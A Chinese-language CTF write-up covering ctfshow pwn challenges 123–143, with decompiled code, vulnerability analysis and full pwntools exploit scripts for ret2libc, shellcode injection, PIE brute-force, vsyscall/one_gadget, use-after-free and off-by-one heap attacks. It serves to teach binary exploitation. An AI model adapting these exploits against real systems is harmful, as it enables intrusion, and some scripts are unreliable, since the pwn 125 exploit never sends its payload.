__isoc99_scanf("%d" , &i); printf ("arr[%d] is %d\n" , i, v3[i + 1 ]); result = sub_8048990(); break ; case 3 : v2 = 0 ; for ( i = 0 ; i <= 9 ; ++i ) v2 += v3[i + 1 ]; printf ("Sum is %d\n" , v2); result = sub_8048990(); break ; case 4 : for ( i = 0 ; i <= 9 ; ++i ) printf ("arr[%d] is %d\n" , i, v3[i + 1 ]); goto LABEL_14; default : LABEL_14: result = sub_8048990(); break ; } return result; }
可以看到对数组进行了初始化,但是后面并没有对数组边界进行检查,可以直接修改返回地址
数组起始位置在0x34位置,对应返回地址位置位 (0x34+4)/4 = 14
存在后门函数init0():
所以我们只需要将arr[14]修改成后门函数地址即可get shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch='i386' , os='linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28105 ) elf = ELF('./pwn' ) init0 = elf.sym['init0' ] io.recvuntil("what's your name?" ) io.sendline("bit" ) io.recvuntil("4 > dump all numbers" ) io.recvuntil(" > " ) io.sendline("1" ) io.recvuntil("Index to edit: " ) io.sendline("14" ) io.recvuntil("How many? " ) io.sendline(str (init0)) io.sendline('0' ) io.recv() io.interactive()
NX Bypass pwn 124 检查保护:
32位仅部分开启RELRO保护
IDA查看main函数:
先输入一个字符串,然后进入判断,如果输入的是”CTFshowPWN”就进入ctfshow函数,跟进ctfshow函数:
进入ctfshow函数后这里我们可以看到这段汇编代码的一个基本逻辑就是read读取一些数据然后执行这段数据,因此这里我们直接将shellcode注入即可
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) //在使用shellcode.sh()时最好加上这段 p = remote('pwn.challenge.ctf.show' , 28301 ) shellcode = asm(shellcraft.sh()) payload = shellcode p.sendline("CTFshowPWN" ) p.send(payload) p.interactive()
pwn 125 检查保护:
64位开启NX,部分开启RELRO
IDA查看main函数:
跟进ctfshow函数:
很明显存在缓冲区溢出漏洞,常规做法一般会如何去做?由于开启了NX,一般会考虑使用ROP去绕过NX,继续查看发现程序中有system函数地址,找到ez函数:
常规做法这里不再概述,相信大家在前面练了这么多应该都会了,我们仔细查看汇编代码(看伪代码看不出来的地方):
发现这里多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读入的数据在内存中的第一个位置?利用这一点可以很简单写入”/bin/sh\x00”
那么现在我们有了溢出漏洞,有了system,有了”/bin/sh“,就非常简单了
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote('pwn.challenge.ctf.show' ,28290 ) call_system = 0x400672 call_system = 0x400672 payload = b'/bin/sh\x00' + b'a' * 0x2000 + p64(call_system) p.interactive()
pwn 126 检查保护:
64位开启NX,部分开启RELRO
IDA查看main函数:
跟进ctfshow():
明显的栈溢出漏洞了,那么我们常规做法,也就是前面学习的过程中我们可以使用ret2libc轻松绕过
依据题目描述,我们可知远程环境的ALSR保护为2,我们先在本地改为0,可以发现,我们无需去进行泄漏地址,直接在gdb调试(详细调试过程直播中会进行讲解)找到对应地址即可进行攻击。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28198 ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) ''' ret = 0x80483ba # 0x080483ba : ret system = 0x7ffff7a31420 binsh = 0x7ffff7b95d88 pop_rdi = 0x4007a3 # 0x00000000004007a3 : pop rdi ; ret ret = 0x4004c6 # 0x00000000004004c6 : ret payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) io.send(payload) io.recv() io.interactive() ''' main = elf.sym['main' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x4007a3 ret = 0x4004c6 payload = cyclic(0x40 +8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) io.recvuntil("Let's go\n" ) io.sendline(payload) puts = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) print hex (puts)libc_base = puts - libc.sym['puts' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload = cyclic(0x40 +8 ) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) io.recvuntil("Let's go\n" ) io.sendline(payload) io.interactive()
pwn 127 检查保护:
64位开启NX,部分开启RELRO
IDA查看main函数:
跟进ctfshow():
同样的原理,未开启PIE时,仍然可以用ret2libc的方法,这里可以当作对前面题目的复习
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *pwnfile = "../code/pwn" p = remote("pwn.challenge.ctf.show" , 28218 ) elf = ELF(pwnfile) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) lg = lambda address,data :log.success('%s: ' %(address)+hex (data)) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] ctfshow = elf.sym['ctfshow' ] pop_rdi = 0x400803 ret = 0x4004fe payload = b'a' * (0x80 + 8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) sl(payload) puts_addr = u64(ru('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.success(f'puts_addr -- > ' + hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * (0x80 + 8 ) + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(sys_addr) sl(payload2) itr()
pwn 128 检查保护:
64位开启NX,开启了PIE,部分开启RELRO
IDA查看main函数,跟进dopwn():
分别跟进set_user():
set_pwn():
可以读取128字符的username,从set_pwn中对strncpy的调用可以看出长度保存在a1+180,username首地址在a1+140,可以通过溢出修改strncpy长度造成溢出。
注:这里之所以没有输入函数还可以输入数据,是因为这里其实bss段的起始地址与stdin重叠了,因此这里fgets的第三个参数_bss_start其实可以看成是stdin
仔细查看发现存在后门函数GAME_OVER():
这个程序开启了PIE保护,我们不能确定后门函数GAME_OVER()的具体地址,因此没办法直接通过溢出来跳转到后门函数GAME_OVER()。我们可以尝试爆破。
由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。
查看汇编代码:
我们可以看到其地址后三位为0x900
但是由于我们的payload必须按字节写入,每个字节是两个十六进制数,所以我们必须输入两个字节。除去已知的0x900还需要爆破一个十六进制数。这个数只可能在0~0xf之间改变,因此爆破并空间不大。
我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调用io.recv( )会触发一个EOFError。由于这个特性,我们可以使用python的try…except…来捕获这个错误并进行处理。
值得注意的是,由于没有刷新缓冲区,导致远程部署环境时回显信息会有差异,即没有及时显示,先让你输入,在两次输入过后才进行回显。但是我们可以先对本地进行尝试,在确定无误后再对远程进行修改
远程exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) elf = ELF('../code/pwn' ) while True : p = remote("pwn.challenge.ctf.show" , 28137 ) payload = b'a' *40 + b'\xca' p.sendline(payload) payload = b'a' *200 payload += b'\x01\x09' p.sendline(payload) try : p.recv(timeout=1 ) except EOFError: p.close() continue else : sleep(0.1 ) p.sendline('/bin/sh\x00' ) sleep(0.1 ) p.interactive() break
pwn 129 检查保护:
64位开启NX,开启了PIE,部分开启RELRO
IDA查看main函数:
sub_DDC进行数值初始化(init),sub_B69进行打印logo(logo)。
接下来进入一个while循环中,紧接着进入另一个while循环,调用sub_DA5函数打印菜单:
然后调用sub_DB00函数,读入一个字符,若此字符小于等于0则返回-1,否则,将字符用strtol函数强转为十进制数据,然后返回。返回值赋值给main函数的局部变量v3。若v3不为2则结束当前while循环,否则,调用sub_D06函数:
会输出system函数的地址。 接下来就是第二层while循环下面的语句: 若刚刚读入数字v3不为3则结束循环,若v3不为1则打印字符串并继续最外层的while循环。 若v3为1,则进入sub_B94函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int sub_B94() { __int64 v1; // [rsp+0h] [rbp-120h] int v2; // [rsp+8h] [rbp-118h] int v3; // [rsp+Ch] [rbp-114h] __int64 v4; // [rsp+10h] [rbp-110h] __int64 v5; // [rsp+10h] [rbp-110h] __int64 v6; // [rsp+18h] [rbp-108h] char v7[256]; // [rsp+20h] [rbp-100h] BYREF puts("How many doubts?"); v1 = sub_B00(); if ( v1 > 0 ) v4 = v1; else puts("Loser."); puts("Any more?"); v5 = v4 + sub_B00(); if ( v5 > 0 ) { if ( v5 <= 99 ) { v6 = v5; } else { puts("You are being a real man."); v6 = 100LL; } puts("Let's go! "); v2 = time(0LL); if ( sub_E43(v6) ) { v3 = time(0LL); sprintf(v7, "Great job! You finished %d question %d seconds\n", v6, (unsigned int)(v3 - v2)); puts(v7); } else { puts("You failed."); } exit(0); } return puts("Loser~ Loser~ Loser~ Loser~ Loser~"); }
程序主要还是选第一个功能,跟进对应函数查看:
继续跟进sub_E43():
read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。
由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。
在进行调试时发现了栈上有大量指向libc的地址。
查看一下汇编代码:
可以发现printf输出的参数位于栈上,通过rbp定位。
利用这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。我们把RBP的最后两个十六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。但是成功率有限,有时候能泄露出libc中的地址,有时候是start的首地址,有时候是无意义的数据,甚至会直接出错,原因是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。
此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。
由于我们泄露出来的只是地址的低32位,抛去前面的4个0,我们还需要猜16位,即4个十六进制数,这种方式的爆破区间有点大,成功几率较低,需要对各种条件进行限制才能提升几率。
经过调试,发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX
libc的地址都为0x7fXXXXXXXXXX
已知8个16进制数,剩下两个随便填一下如:2a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *i=0 while True : try : py_add = 0 i+=1 print i io = remote('pwn.challenge.ctf.show' ,28201 ) io.sendlineafter("Choice:\n" ,'1' ) io.sendlineafter("doubts?\n" ,'1' ) io.sendlineafter("more?\n" ,'1' ) io.recvuntil("Question: " ) a1 = int (io.recvuntil(" " )[:-1 ]) io.recvuntil("* " ) a2 = int (io.recvuntil(" " )[:-1 ]) a3 = str (a1*a2) a4 = a3.ljust(0x30 ,'\x00' )+'\x6c' io.sendafter("Answer:" ,a4) io.recvuntil("doubt " ) answer = int (io.recvuntil("\n" )[:-1 ]) if answer < 0 : answer = answer + 0x100000000 answer_end = answer + 0x7f2a00000000 if hex (answer_end)[-2 :] == '6f' : py_add = answer_end - 0xf88e0 - 0x8f elif hex (answer_end)[-2 :] == '00' : py_add = answer_end - 0x3c2600 elif hex (answer_end)[-2 :] == '83' : py_add = answer_end - 0x3c2600 - 0x83 elif hex (answer_end)[-2 :] == '59' : py_add = answer_end -0xf88e0 - 0x79 elif hex (answer_end)[-2 :] == '20' : py_add = answer_end - 0x7c820 elif hex (answer_end)[-2 :] == '8a' : py_add = answer_end - 0x70920 - 0x16a one_gadget = py_add + 0x45216 if py_add == 0 : io.close() continue io.recvuntil("Question: " ) a1 = int (io.recvuntil(" " )[:-1 ]) io.recvuntil("* " ) a2 = int (io.recvuntil(" " )[:-1 ]) a3 = str (a1*a2) a4 = a3.ljust(0x38 ,'\x00' )+ p64(one_gadget) io.sendafter("Answer:" ,a4) io.recv(timeout=1 ) except EOFError: io.close() continue else : io.interactive() break
这里提示了远程环境为Ubuntu 16.04,我们大致就能知道了libc的版本
前面99次使得程序返回1,使得最后一次能进行栈溢出劫持rip,执行vsyscall,ret到one_gadget实现getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28161 ) libc = ELF('/home/bit/libc/64bit/libc-2.23.so' ) vsyscall_add = 0xffffffffff600000 io.sendlineafter("Choice:\n" ,'2' ) io.sendlineafter("Choice:\n" ,'1' ) io.sendlineafter("doubts?\n" ,'0' ) io.sendlineafter("more?\n" ,'-378' ) for i in range (99 ): io.recvuntil("Question: " ) answer1 = int (io.recvuntil(" " )[:-1 ]) io.recvuntil("* " ) answer2 = int (io.recvuntil(" " )[:-1 ]) io.sendlineafter("Answer:" ,str (answer1*answer2)) payload = 'A' * 0x30 payload += 'B' * 0x8 payload += p64(vsyscall_add) * 3 io.sendafter("Answer:" ,payload) io.interactive()
pwn 130 检查保护:
64位开启NX,开启了PIE,部分开启RELRO
IDA查看main函数:
这次再来看到hint():
发现当全局变量show_hint非空时输出system的地址。由于缺乏任意修改地址的手段,并不能去修改show_hint,但是分析汇编代码,可以发现不管show_hint是否为空,其实system的地址都会被放置在栈上。
继续查看函数主功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int go (void ) { __int64 num; int v2; int v3; __int64 v4; __int64 v5; __int64 v6; char v7[256 ]; puts ("How many doubts?" ); num = read_num(); if ( num > 0 ) v4 = num; else puts ("Loser~" ); puts ("Any more?" ); v5 = v4 + read_num(); if ( v5 > 0 ) { if ( v5 <= 999 ) { v6 = v5; } else { puts ("More doubts than before!" ); v6 = 1000LL ; } puts ("Let's go! " ); v2 = time(0LL ); if ( (unsigned int )doubt(v6) ) { v3 = time(0LL ); sprintf (v7, "Great job! You finished %d doubts in %d seconds\n" , v6, (unsigned int )(v3 - v2)); puts (v7); } else { puts ("You failed." ); } exit (0 ); } return puts ("Loser~" ); }
分析功能函数可以发现,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会,而这里的rbp + var_110也即是system存放在栈上的地址,根据栈帧开辟的原理和main函数代码的分析,由于两次循环之间并没有进出栈操作,main函数的rsp,也就是hint和go的rbp应该是不会改变的,即两个函数进入时push rbp操作的rbp值是一样的。 调试也可以发现确实如此,因为程序会将两次输入的关卡数相加,第一次输入负数,让system的地址加载到第一次输入关卡数处,第二次输入一个偏移量时就可以使rbp + var_110处原本system的地址变为one gadget的地址,从而通过后面的答题函数构造溢出劫持RIP到这个地址拿到shell。 由于rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,所以我们必须写一个自动应答脚本来处理题目
1 2 3 4 5 6 7 8 9 def auto_answer (io, level, last_answer ): for index in xrange(0 , level): io.recvuntil("Question: " ) temp = io.recvuntil("= ?" ).strip("= ?" ).strip().split("*" ) io.recvuntil("Answer:" ) if index == level -1 : io.send(last_answer) else : io.send(str (int (temp[0 ]) * int (temp[1 ])))
计算发现0x38个字节后到rip,然而rip离one gadget还有三个地址长度
vsyscall中有三个无参系统调用,且只能从入口进入。我们选的这个one gadget要求rax = 0,gettimeofday执行成功时返回值就是0,因此我们可以选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28166 ) libc = ELF('/home/bit/libc/64bit/libc-2.23.so' ) one_gadget = 0x4526a image_base = 0x555555554000 system_offset = libc.symbols['system' ] vsyscall_address = 0xffffffffff600400 def input_choice (io, choice ): io.recvuntil("Choice:\n" ) io.sendline(str (choice)) def input_level (io, level1, level2 ): io.recvuntil("How many doubts?\n" ) io.sendline(str (level1)) io.recvuntil("Any more?\n" ) io.sendline(str (level2)) def auto_answer (io, level, last_answer ): for index in xrange(0 , level): io.recvuntil("Question: " ) temp = io.recvuntil("= ?" ).strip("= ?" ).strip().split("*" ) io.recvuntil("Answer:" ) if index == level -1 : io.send(last_answer) else : io.send(str (int (temp[0 ]) * int (temp[1 ]))) input_choice(io, 2 ) input_choice(io, 1 ) first_level = -1 second_level = one_gadget - system_offset input_level(io, first_level, second_level) payload = '1' * 0x38 payload += p64(vsyscall_address) * 3 auto_answer(io, 1000 , payload) io.interactive()
pwn 131 检查保护:
32位程序仅关闭Canary
IDA查看main函数:
发现程序输出了main函数的地址
跟进ctfshow函数:
明显的栈溢出漏洞
接着看:
与之前的不同,它不再对程序的原始字节码做修改,而是使用一类__x86.get_pc_thunk.xx函数,通过PC指针来进行定位
__x86.get_pc_thunk.bx的作用将下一条指令的地址赋值给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址
ebx = 0x7ae + 0x2812 = 0x2fc0
程序在运行时,这个基地址就是程序第三部分的起始位置
由于在函数末尾有恢复ebx寄存器的行为,因此需要在溢出时需要将GOT地址也覆盖上去,至此就完成了ASLR和PIE的绕过。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28215 ) elf = ELF('./pwn' ) libc = ELF('/home/bit/libc/32bit/libc-2.27.so' ) io.recvuntil("main addr is here :\n" ) main = int (io.recvline(),16 ) print hex (main)base = main - elf.sym['main' ] ctfshow = base + elf.sym['ctfshow' ] write_plt = base + elf.sym['write' ] write_got = base + elf.got['write' ] ebx = base + 0x2fc0 payload = cyclic(132 ) + p32(ebx) + "bbbb" + p32(write_plt) + p32(ctfshow) + p32(1 ) + p32(write_got) + p32(4 ) io.send(payload) write = u32(io.recv()) print hex (write)libc_base = write - libc.sym['write' ] system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search('/bin/sh' )) payload = cyclic(140 ) + p32(system) + p32(0 ) + p32(binsh) io.send(payload) io.interactive()
pwn 132 检查保护:
64位保护全开,这里并没有开启FORTIFY保护
IDA查看main函数:
跟进ctfshow函数:
可以看到当输入的字符串为“CTFshow-daniu”时就能得到一个shell,由于没有开启FORTIFY保护,程序也就能正常执行:
exp 略
pwn 133 检查保护:
64位保护全开,可以看到这次开启了FORTIFY保护
IDA查看main函数:
同上一题比较,发现有些不安全函数已经被替换成安全函数了
此时已经开启了缓冲区溢出攻击检查(不过这里也开启了Canary保护)
跟进ctfshow函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int __fastcall ctfshow (const void *a1) { bool v2; bool v3; bool v4; __int64 v5; const char *v6; const char *v7; char v8; bool v9; bool v10; __int64 v11; const char *v12; const char *v13; v2 = memcmp (a1, "CTFshow-daniu" , 0xDu LL) != 0 ; v3 = 0 ; v4 = !v2; if ( v2 ) { v5 = 5LL ; v6 = "Stack" ; v7 = (const char *)a1; do { if ( !v5 ) break ; v3 = *v7 < (unsigned int )*v6; v4 = *v7++ == *v6++; --v5; } while ( v4 ); v8 = (!v3 && !v4) - v3; v9 = 0 ; v10 = v8 == 0 ; if ( v8 ) { v11 = 3LL ; v12 = "Fmt" ; v13 = (const char *)a1; do { if ( !v11 ) break ; v9 = *v13 < (unsigned int )*v12; v10 = *v13++ == *v12++; --v11; } while ( v10 ); if ( (!v9 && !v10) == v9 ) { puts ("Smart boy!" ); return Fmt("Smart boy!" , v13); } else if ( !memcmp (a1, "check" , 5uLL ) ) { __printf_chk(1LL , "%p\n" , a1); return _chk(); } else { return puts ("You are too young to simple!" ); } } else { puts ("Great boy!" ); return Stack_Overflow("Great boy!" , v7); } } else { puts ("Good boy!" ); __printf_chk(1LL , "%3$#p\n" ); return system("/bin/sh" ); } }
可以看到程序既定的一些漏洞在开启此保护后很多函数都被替换成相对安全函数了:
这里不再展开讲,详细内容在课程中会进行展开
这里就直接讲解题了,查看一下敏感字符串:
上一题的后门函数还在,但是很明显,由于开启了FORTIFY保护
这条路根本走不下来,程序就会异常退出,看到还有一个/ctfshow_flag文件,跟进查看一下:
可以看到如果程序走到这就会输出flag,理清逻辑,我们不难知道,当输入的字符串为“check”时即可输出flag
exp 略
pwn 134 检查保护:
64位保护全开,依旧开启了FORTIFY保护
IDA查看main函数:
跟进ctfshow函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 int __fastcall ctfshow (const void *a1) { bool v2; bool v3; bool v4; const char *v5; __int64 v6; const char *v7; char v8; bool v9; bool v10; const char *v11; __int64 v12; const char *v13; bool v14; bool v15; bool v16; const char *v17; const char *v18; __int64 v19; v2 = memcmp (a1, "CTFshow-daniu" , 0xDu LL) != 0 ; v3 = 0 ; v4 = !v2; if ( v2 ) { v5 = "Stack" ; v6 = 5LL ; v7 = (const char *)a1; do { if ( !v6 ) break ; v3 = *v7 < (unsigned int )*v5; v4 = *v7++ == *v5++; --v6; } while ( v4 ); v8 = (!v3 && !v4) - v3; v9 = 0 ; v10 = v8 == 0 ; if ( v8 ) { v11 = "Fmt" ; v12 = 3LL ; v13 = (const char *)a1; do { if ( !v12 ) break ; v9 = *v13 < (unsigned int )*v11; v10 = *v13++ == *v11++; --v12; } while ( v10 ); if ( (!v9 && !v10) == v9 ) { puts ("Smart boy!" ); return Fmt("Smart boy!" , v13); } else { v14 = memcmp (a1, "Quit" , 4uLL ) != 0 ; v15 = 0 ; v16 = !v14; if ( !v14 ) { puts ("See you ~" ); exit (0 ); } v17 = "Exit" ; v18 = (const char *)a1; v19 = 4LL ; do { if ( !v19 ) break ; v15 = *v18 < (unsigned int )*v17; v16 = *v18++ == *v17++; --v19; } while ( v16 ); if ( (!v15 && !v16) == v15 ) { puts ("See you again!" ); return daniu("See you again!" , v18); } else { return puts ("You are too young to simple!" ); } } } else { puts ("Great boy!" ); return Stack_Overflow("Great boy!" , v7); } } else { puts ("Good boy!" ); __printf_chk(1LL , "%6$#x\n" ); return system("/bin/sh" ); } }
可以看到,逻辑原本挺简单的,但是被弄的非常复杂,同样的,存在后门函数:
只需要捋清楚哪里一步步调用一步步跟进就能获取到flag
其实仅仅只需要输入”Exit”然后等待几秒即可获得flag了
exp 略
pwn 135 - pwn 140 135-140仅仅是为了让大家了解相关函数以及结构之类的基础知识,flag都给出了。
pwn 141 检查保护:
32位开启Canary与NX保护
IDA查看main函数:
看一下菜单:
程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。
add_note():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int add_note () { int v0; int i; int size; char buf[8 ]; unsigned int v5; v5 = __readgsdword(0x14u ); if ( count <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !*((_DWORD *)¬elist + i) ) { *((_DWORD *)¬elist + i) = malloc (8u ); if ( !*((_DWORD *)¬elist + i) ) { puts ("Alloca Error" ); exit (-1 ); } **((_DWORD **)¬elist + i) = print_note_content; printf ("Note size :" ); read(0 , buf, 8u ); size = atoi(buf); v0 = *((_DWORD *)¬elist + i); *(_DWORD *)(v0 + 4 ) = malloc (size); if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , *(void **)(*((_DWORD *)¬elist + i) + 4 ), size); puts ("Success !" ); ++count; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full!" ); } return __readgsdword(0x14u ) ^ v5; }
最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。
print_note():
根据给定的索引来输出对应的note的内容。
del_note():
根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 UAF漏洞。
程序还存在后门函数use():
那么我们只需要修改 note 的 put 字段为use函数的地址,从而实现在执行 print note 的时候执行后门函数。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28234 ) elf = ELF('./pwn' ) use = elf.sym['use' ] def add (size, content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def delete (idx ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) def show (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) add(32 , "aaaa" ) add(32 , "bbbb" ) delete(0 ) delete(1 ) add(8 , p32(use)) show(0 ) io.interactive()
pwn 142 检查保护:
64位开启Canary,NX保护,部分开启RELRO
IDA查看main函数:
看一下菜单menu():
4个功能,分别是创建堆,编辑堆,打印堆,删除堆
create_heap():
创建堆的时候,每次都会先创建0x10的heaparray,然后再创建堆
编辑的时候可以溢出一字节
show_heap():
delete_heap():
程序基本功能如上
我们就着重围绕着可以多写入一个字节,即存在off-by-one漏洞,可以通过溢出覆盖下一个字节,程序存在复用,即如果都inuse的话,上一个chunk可以使用到下一个chunk的prev_size,那么我们再溢出,就可以到size位了
(1)我们是首先申请了0x18字节(实际就给了0x10+下一个chunk的prev_size)
(2)然后再申请0x10
(3)edit第一个chunk,并且输入‘/bin/sh\x00’,通过栈溢出,将第二个chunk的size设置为0x41
(4)free掉第二个chunk
(5)重新申请0x30的chunk大小
(6)将free_got的地址输入chunk,并且打印出来
(7)计算出基地址、system地址
(8)覆盖free_got表为system地址
(9)删除第一个堆块即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28243 ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def create (size, content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def edit (idx, content ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) io.recvuntil(":" ) io.sendline(content) def show (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) def delete (idx ): io.recvuntil("choice :" ) io.sendline("4" ) io.recvuntil(":" ) io.sendline(str (idx)) create(0x18 , "aaaa" ) create(0x10 , "bbbb" ) edit(0 , "/bin/sh\x00" + "a" * 0x10 + "\x41" ) delete(1 ) create(0x30 , p64(0 ) * 4 + p64(0x30 ) + p64(elf.got['free' ])) show(1 ) io.recvuntil("Content : " ) data = io.recvuntil("Done !" ) free = u64(data.split("\n" )[0 ].ljust(8 , "\x00" )) libc_base = free - libc.symbols['free' ] log.success('libc base addr: ' + hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] edit(1 , p64(system_addr)) delete(0 ) io.interactive()
pwn 143 检查保护:
64位程序,开启了Canary和NX,部分开启RELRO
IDA查看main函数:
看菜单menu():
一眼看到后门函数:
fffffffffffffffffffffffffffffffffflag():
那么依据main函数,在输入5的时候会去执行v4[1],v4[1]里面是goodbye_message的地址,我们通过house of force 的方法将其改为后门函数地址不就可以得到flag了
add():
